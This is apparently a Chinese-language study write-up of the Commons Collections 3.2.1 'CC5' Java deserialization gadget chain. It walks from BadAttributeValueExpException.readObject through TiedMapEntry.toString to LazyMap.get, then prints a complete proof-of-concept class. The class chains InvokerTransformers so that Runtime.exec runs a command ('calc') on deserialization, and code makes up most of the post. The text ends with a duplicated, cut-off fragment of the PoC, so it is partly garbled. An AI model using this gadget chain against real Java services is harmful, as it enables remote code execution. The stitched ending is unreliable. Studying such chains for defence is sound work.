分析版本
Commons Collections 3.2.1
JDK 8u65
环境配置参考JAVA安全初探(三):CC1链全分析
分析过程
CC6是在CC1 LazyMap利用链(引用)的基础上。
CC5和CC6相似都是CC1 LazyMap利用链(引用)的基础上,改变了到LazyMap的入口类。
CC6是用TiedMapEntry的hashCode方法,调用getValue,再调用LazyMap.get
CC5是用TiedMapEntry的toString方法,调用getValue,再调用LazyMap.get
再继续向上找toString,作者找到了BadAttributeValueExpException类,可序列化,还重写了readObject方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
其中Object val可以通过反射进行赋值,
Poc(我是在CC6的基础上改的)
public class cc5 {
// //LazyMap
// BadAttributeValueExpException
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("1")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以
//举个例子修改tiedMapEntry的 key
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);
//复原
//因为key为private,而且也没有public方法能直接修改key
//利用反射
Class c = TiedMapEntry.class;
Field key = c.getDeclaredField("map");
key.setAccessible(true);
key.set(tiedMapEntry, lazyMap);
//cc1_poc.serialize(badAttributeValueExpException);
cc1_poc.unserialize("s.ser");
}
}
lize(badAttributeValueExpException);
cc1_poc.unserialize("s.ser");
}
}